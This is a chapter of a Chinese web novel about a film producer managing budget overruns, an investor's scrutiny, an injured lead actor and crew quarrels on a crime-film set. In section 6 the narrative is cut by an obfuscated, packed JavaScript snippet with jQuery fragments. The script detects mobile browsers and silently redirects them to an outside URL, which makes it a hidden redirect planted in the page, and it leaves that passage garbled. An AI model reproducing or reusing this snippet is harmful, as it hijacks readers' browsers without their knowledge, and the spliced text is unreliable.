深夜，聚光灯把逼仄的巷道照得像白昼。空气中还残留着拍摄时的火药气息和烟雾味，刚完成的一场对峙戏，比以往更激烈也更紧绷。剧组几乎连轴运转，把整条街景改造了三轮，美术组熬了三个通宵，可最终呈现出的效果，仍未完全达成导演心中设想的“街头压迫感”。


    1


    拍完巷战戏的第三天，导演便迫不及待提出：趁热打铁，再加一段尾随追击的大场面。


    “那场戏情绪起来了，但节奏还是差点意思！”杨学宁一边在会议桌上铺开图纸，一边神采飞扬地比划，“既然景还在，就不如把街口再往外拉十米，做成街头拦截效果。观众要的是张力、是代入感，这一段拍出来，预告片都能剪出爆点。”


    程今没说话，只垂眼翻着刚刚提交上来的紧急预算申请。纸页翻动的声音在小会议室里格外清晰。


    编剧小井犹豫了一下，小声开口：“程制片……我们是不是得先解决资金问题？这几天人手都在压缩，物资也跟不上。”语气尽量委婉，像是怕戳破那层快要绷断的平衡。


    副导演段林靠在椅背，眉头微蹙，没插话，但从他轻敲膝盖的手指节奏，程今读得出他也有顾虑。


    大家都在等她表态。


    她抬头，视线扫过面前那几双期待、隐忧、观望的眼睛，肩膀像是背着一块肉眼不可见的压石。


    短暂的沉默之后，她放下文件夹，语气一如既往平稳：“我会和制片助理重新核算一次具体成本。如果花费在可承受范围内，按导演想法推进。”


    她顿了顿，又补上一句：“但工期不能再拖。我们没有多余时间了。”


    导演一听，当即拍板：“行！我这就去让美术和道具组出调整方案！”


    他语气轻快，像是被判了胜诉。而程今只是静静点头，没有笑。


    她心里其实比谁都清楚——这个“决定”并不轻松。多一场重戏，意味着多一道风口，也意味着更大的资金缝隙。可眼下，项目处处受限，外界质疑如潮。她不能放弃任何一个能激起水花的机会。


    2


    当天下午，一位戴着银边眼镜的年轻人出现在片场。最初，场务以为他只是来探班的普通工作人员，直到他出示名片——“临川基金项目助理，罗凯”。


    “赵总让我来了解一下拍摄实况，也顺便收集点一手素材。”罗凯笑得得体，“毕竟我们这边的投入不算小，自然希望对项目有更清晰的把握。”


    程今得知后，亲自接待他：“欢迎，罗先生。有任何需要，我这边配合。”


    她心里明白，这人并非单纯送温暖，而是赵敏派来的“第二只眼睛”。赵敏虽然始终站在项目这边，但资本谨慎向来是本能。若剧组混乱失控，哪怕只是苗头，也可能在瞬间引发撤资。


    罗凯在片场来回巡视了一圈：他看见正在搭建的巷道景，看见灯光、美术组连夜加班的痕迹，看见几位熬红了眼的群演靠在板凳上小憩。全程没有发表任何意见，只是不动声色地在笔记本上记录着。


    傍晚，他主动提出想和程今单独谈谈。


    “感觉剧组……运转得挺吃力。”他语气不重，却直指问题。


    程今嘴角一挑：“确实辛苦。但还在预期之内。警匪片原本就不轻松，尤其我们还想做点突破。”


    罗凯轻轻点头，眼神意味不明：“赵总还是相信你。但你也知道，资本最怕失控。一旦周期延误，或市场信号反应不佳……我们也得有所准备。”


    “我明白。”程今保持着镇定的笑，语气却格外干脆，“我们在赶进度，也在控成本。赵总那边，我会交出一个交得起账的答卷。”


    他们之间的对话，全程不带火气，却像在无声比拼底气。


    客套完毕后，罗凯准备离开。走到片场门口，他忽然回头，看见沈宴正独自演练动作戏。他没穿戏服，只穿着一件薄T恤，汗水湿透后背，却仍然在反复演练转身、拔枪、躲避的细节。


    罗凯目光微顿，似乎若有所思，最终什么也没说，只转身离开。


    3


    入夜后，新一轮拍摄在临时巷道开工。


    沈宴身穿角色的便服，腰部和肩膀都绑着护具，却仍坚持亲自上阵，完成一连串高强度的翻越、闪躲动作。摄影师贴身跟拍，镜头一路晃动，脚步声与道具碰撞声交错回响在逼仄街景里。


    导演刚喊“卡”，副导演段林立刻上前，脸上满是担忧：“沈老师，你膝盖前几天不还有淤青？这跳来跳去的，不怕再伤着？”


    沈宴取下护具，动作有些迟缓，声音却依旧平稳：“还能撑。”


    在场的人都看得出来，他脸色发白、气息不稳，却没人再多劝一句。他一向是那种“不出问题就不肯停下来”的性子。


    这时，程今走过来，眉头轻蹙，语气不疾不徐：“你得自己掂量清楚，别硬扛。”


    沈宴听到她的声音，动作顿了顿，眼神里闪过一丝细微的波动。他低声回道：“我知道。但这几场动作戏已经排了好几天，换替身来不及适应，节奏也会乱。如果拖下去，整体进度会受影响。”


    他语气依旧克制，但那股倔强和自我压迫几乎写在脸上。


    程今望着他，一时间说不出话来。他总是这样，看起来波澜不惊，骨子里却有种沉默的狠劲。正是这股不肯退让的韧性，让他在一众试镜者中脱颖而出，拿下这个角色。


    可她终究是制片人，必须站在项目整体的角度考虑。她心里清楚：如果他真倒下，剧组付出的代价远比这场戏的重拍要沉重得多。


    她沉了沉声，终是退了一步：“可以坚持，但拍完必须去医务室检查。”


    沈宴点了点头，没有多言，转身回到拍摄区，与动作指导低声讨论下一镜的走位与过场。


    灯光投射在他背影上，那道身影看起来单薄，动作却依旧干净利落。夜色里，他像一枚钉子，牢牢钉在自己的位置上，不动也不退。


    4


    拍摄中途，现场忽然吵嚷起来。


    程今循声望去，发现场务主管老周正挥着对讲机，冲一群年轻小场务劈头盖脸地骂：“灯管都不收拾好？电缆乱成一锅粥，要是演员半夜踩一脚出点事，谁负责？你们？”


    几个年轻人被吼得脸涨通红，低头小声嘀咕：“大半夜的，谁还没点走神……”


    老周火气腾地窜上来：“你再说一遍？我干电影干了三十年，拍过的戏比你们见过的还多！你们这帮新兵蛋子要是把人绊着了，后面要多大麻烦！”


    动静太大，惊动了不远处的导演和副导演。段林快步赶来，皱眉劝道：“周哥，大家都熬夜拍戏，情绪别太上头。”


    老周回瞪他一眼，声音照样不低：“我管你情绪不情绪，安全才是头一条！出事故你能负责吗？程制片能负责？”


    正僵着，程今走了过来，先是示意几个小场务把电缆和灯具清理归位，又礼貌却不容置疑地把老周请到一旁说话。


    “周哥，我理解你出身老电影厂，规矩意识强，这对我们来说是好事。”程今语气平稳柔和，尽力压住现场的燥气，“但年轻人刚进组不久，很多流程不熟，需要的是提醒、不是发火。”


    老周还在喘着粗气，显然怒火未消：“我不是怕出事嘛。这剧组拍得一天比一天赶，预算压，人手也不够，我要是不盯死，他们根本撑不住……”


    程今听着，终于明白：他不是单在乎电缆，更是在担心整个剧组的节奏失控。


    “我知道。”她声音轻了几分，“这阵子确实紧。但你这把年纪还顶着夜班，我们都看在眼里。人手方面我会协调增派，工作也尽量细化到位，让你不用每一桩小事都亲自盯着。”


    老周看着她，沉默了一瞬，终究还是哼了一声，算是勉强应下。


    “我这人嘴碎，但你要真补人手，我就不吭声了。”


    “那就说定了。”程今轻轻点头，语气里多了一丝不易察觉的疲惫，“我不怕有人有脾气，怕的是没人管事。”


    程今看着老周远去的背影，不禁头痛：这是个有经验却脾气火爆的人，对提升现场效率是好事，但是，对团队合作而言，难免成为新的隐患。


    5


    深夜两点，夜拍暂告一段落。


    导演原本计划再拍一条巷道夜戏的拼接镜头，可因为布景搭建推迟，只得暂缓至明晚。程今做了简短收尾总结，收起对讲机，转身朝临时办公室走去。


    制片助理刘倩正守在办公桌前，脸色一看就是压了整晚的烦闷。见她进门，赶紧起身，语气低沉：“程姐，巷道扩建那部分预算出了问题——刚刚核算下来，材料费和加班费，比原预估多了至少百分之二十。”


    程今一顿，眉心立刻蹙紧：“百分之二十？怎么会差这么多？”


    “老周说搭景临时加了几段支架，还用了二次布料补灯光层次，美术那边也连着几晚通宵干。灯光组还报了几箱灯管损耗。”刘倩语气小心，像是在提前预判她的反应。


    程今沉下脸，接过一沓加急送来的账单，快速翻看。


    她当然知道导演为什么这么拼：巷战场面是中段的核心，能不能拉高预告观感、唤醒观众期待，全看这一段能不能打动人。但她也明白，每一次“要做得更好”的念头，背后都是实打实的预算飙升。


    “行了。”她合上文件，强压住语气里的疲意，“你先让财务把全部材料和发票清理归档。我来跟赵敏那边试着谈一次应急调拨。”


    说完，她却迟疑了一下，又低声补了一句：“……暂时先别把具体超支数告诉导演。现在告诉他，只会更焦虑。”


    刘倩点头，眼神略带敬佩，又掺着一丝无奈：“明白。我也怕现场再有点风吹草动，士气直接散了。”


    程今没再接话，只是默默走到窗边，推开一条缝，冷风灌进来，吹得人清醒。


    外头天还未亮，远处街景黯淡。她望着那一长串账目里跳跃的数字，像看着沙漏的最后一截砂砾，一粒粒往下掉，毫不留情。


    6


    第二天凌晨四点，剧组沉入沉睡，只有医务室的灯光还亮着。


    程今抱着资料走到门口，脚步一顿——门缝透出一线光，屋里还亮着。她抬手敲了下门，推开进去，沈宴正靠在病床边，膝盖上敷着冰袋，听见动静，缓缓坐直。


    “你还没回去？”他声音低哑，像是熬过长夜后的疲惫沉音。


    她走到床边，看清他左膝裹着一层厚厚的绷带，淤青从边缘泛出一大片，颜色骇人。


    “怎么这么严重？”她皱眉，语气不自觉带了些不悦，“是不是昨晚又硬撑了？”


    沈宴试图轻轻活动腿，动作顿了顿，还是吸了口凉气：“动作戏一套连下来，替身能顶前半段，后面细节得我自己接。”


    程今没说话，只垂下眼看着那根冰袋边缘微微泛白的皮肤，许久才低声开口：“你不是只拍这一部戏的人。”


    她将一份打印好的纸递到他面前，是她连夜改的降强度拍摄建议书。


    “我让导演和动作组一起商量的，降低强度、拆分镜头，能缓解对你身体的负担。”她语气淡，却带着不容置疑的坚定，“我们改进度可以承受，但你不能倒。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359147|168070||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    沈宴翻了几页，没立刻回应，沉默几秒才轻声说：“我明白。”


    他的声音低，却透出一点卸下防备的软。他知道她口中的“我们”其实是“她”。


    她看着他沉默的神情，眼里浮出一丝不易察觉的柔意，却又飞快收起，只轻轻拍了拍他肩膀：“等好些再说。今晚先让医务组多盯一会儿。”


    说完，她转身往门口走去，步子未快，却带着一贯利落。


    就在她推门前一刻，身后传来一句低声的“程今”。


    她回头。


    沈宴没有看她，只是半侧着身，目光垂落在指尖握着的冰袋上：“抱歉，让你操心。”


    这话说得轻，却像一道静静落下的涟漪，在空气里荡开。


    她没有回应，只是点了点头。


    门关上的刹那，沈宴抬眼看向那片空了的位置，屋里灯光仍亮着，照得空气都泛着倦意。他靠回病床，闭上眼——


    他的戏还没演完。


    而她背后的辛苦，从不出现在镜头前。


    7


    天色刚亮，巷道场景还笼着一层薄雾，地上散落着昨夜未清理的道具。老周带着场务在现场巡视，眉头却越来越紧。


    “工具箱不见了，备用电线也被扔在地上，不知道谁动的。”


    他火气上头，径直冲进程今办公室：“这还拍不拍？现场被人乱动，像话吗？要不是偷东西，就是有人想捣乱。”


    程今正捧着早上的第一杯咖啡，眼底全是一夜没合眼的倦意。她放下杯子，尽量让声音保持平稳：“先别急，我让保安去查监控。”


    话音刚落，保安气喘吁吁地跑来：“程制片，有一段时间的画面出了故障，刚好……没拍到是谁动的。”


    ——又是“刚好”。


    程今闭了闭眼，隐约的烦躁浮上来。这已经不是第一次出现类似问题了。


    不论是偶发的小偷小摸，还是有人蓄意搞事，这样的安全漏洞在眼下的局势里，都足够致命。


    她迅速决断：“老周，把所有临时场务的名单整理一份，今晚前我要看到清单。所有工具从今天开始编号、登记、锁箱，责任到人。”


    老周咬了咬牙，没再顶嘴。他脾气一向火爆，换作平时肯定炸了，可想到昨晚程今面对资金压力时还替他出头，终究忍下了火，转身去安排执行。


    8


    上午十点，许多剧组成员还没睡足，就被副导演段林一通喊声拉回棚里。整条巷道要重布灯光，准备拍摄一场对白戏，随后还要补拍追逐段落。连续数日高强度拍摄，疲惫已经写在每个人脸上。


    “动作快点！再磨蹭就得连夜加班三小时！”段林的声音在片场炸开。


    美术组几个年轻人刚把道具支起来，又被吼得脸色发白。老周拎着对讲机正要开骂，程今眼疾手快拦在他面前。


    “周哥，先别发火。”她声音不高，却带着一股拦得住人的力道。


    她环顾四周，所有人眼神发虚，动作迟缓。片场像一台□□到极限的机器，齿轮还在咬合，却随时可能崩断。


    “不能再这么干下去。”她在心里默默想着。经费紧，人手紧，导演还一心想加戏。现在再不控节奏，下一步就可能出安全事故。


    她转头对制片助理低声道：“午饭后安排全员休息一小时。下午再开机。”


    助理迟疑：“可导演那边说要赶进度……”


    “我去跟他说。”程今的声音一如既往平稳，但神色里透着不容置疑的坚持。


    她深吸一口气，转身朝导演办公区走去。身后是一地凌乱布景、疲惫沉默的人群。


    9


    中午时分，片场短暂归于安静。


    导演在临时搭的小间里翻剧本，神情疲惫中还透着执拗。程今敲门进来，脸上带着连日未歇的倦意，却依旧维持着应有的礼貌。


    导演抬头，话还没寒暄就先落了地：“又要我减戏？我知道你难，但这场巷战要是真压下去，中段节奏就塌了。”


    程今不争辩，只是把一份场务、人力、物资消耗数据递到他面前：“你看看，最近事故频发，大家连轴转。这种赶工节奏下，你要加拍那场街头拦截戏，预算至少再涨一成。咱们还能不能承受，你心里得有数。”


    导演看着那几行字，眉头越拧越紧，手指不自觉地揉着额角：“我是真的想拍出点不一样的。中段要有爆点，观众才买账。投资方也不就盯着这个嘛。”


    程今点头：“我理解你的用心，也支持你要做出质感。但如果再出事，不只是预算超，还有团队的情绪、项目的口碑。”她语气放缓，却句句都紧着现实，“所以不是减戏，而是该设限，包括人力排班、后勤补给、夜拍时长，通通写进执行表里。我们必须把风险压到最小。”


    屋里静了一瞬。


    导演终于把剧本放下，叹气：“行，我听你的。接下来先拍完对白和小场面，外景分段补，不一口吃。”


    程今轻轻点头：“谢谢配合。”她知道他让步不易，艺术理想很重，可一部戏能不能完成，要靠的却是现实把控。


    她走出房间，外头烈日正盛，却毫无夏日的明亮感。


    片场里一切如常，老周在训人，场务在奔走，远处的沈宴还在和动作指导反复调整动作。烈日下，这片废景看上去破碎又拥挤，像是随时可能崩塌的舞台。


    程今站在场边，目光落在这群奔波的人身上。她想起罗凯那张礼貌却审慎的脸，想起赵敏几日前电话里“再评估”的字眼……心里忽然像压了一块沉沉的石头，无法言说的重。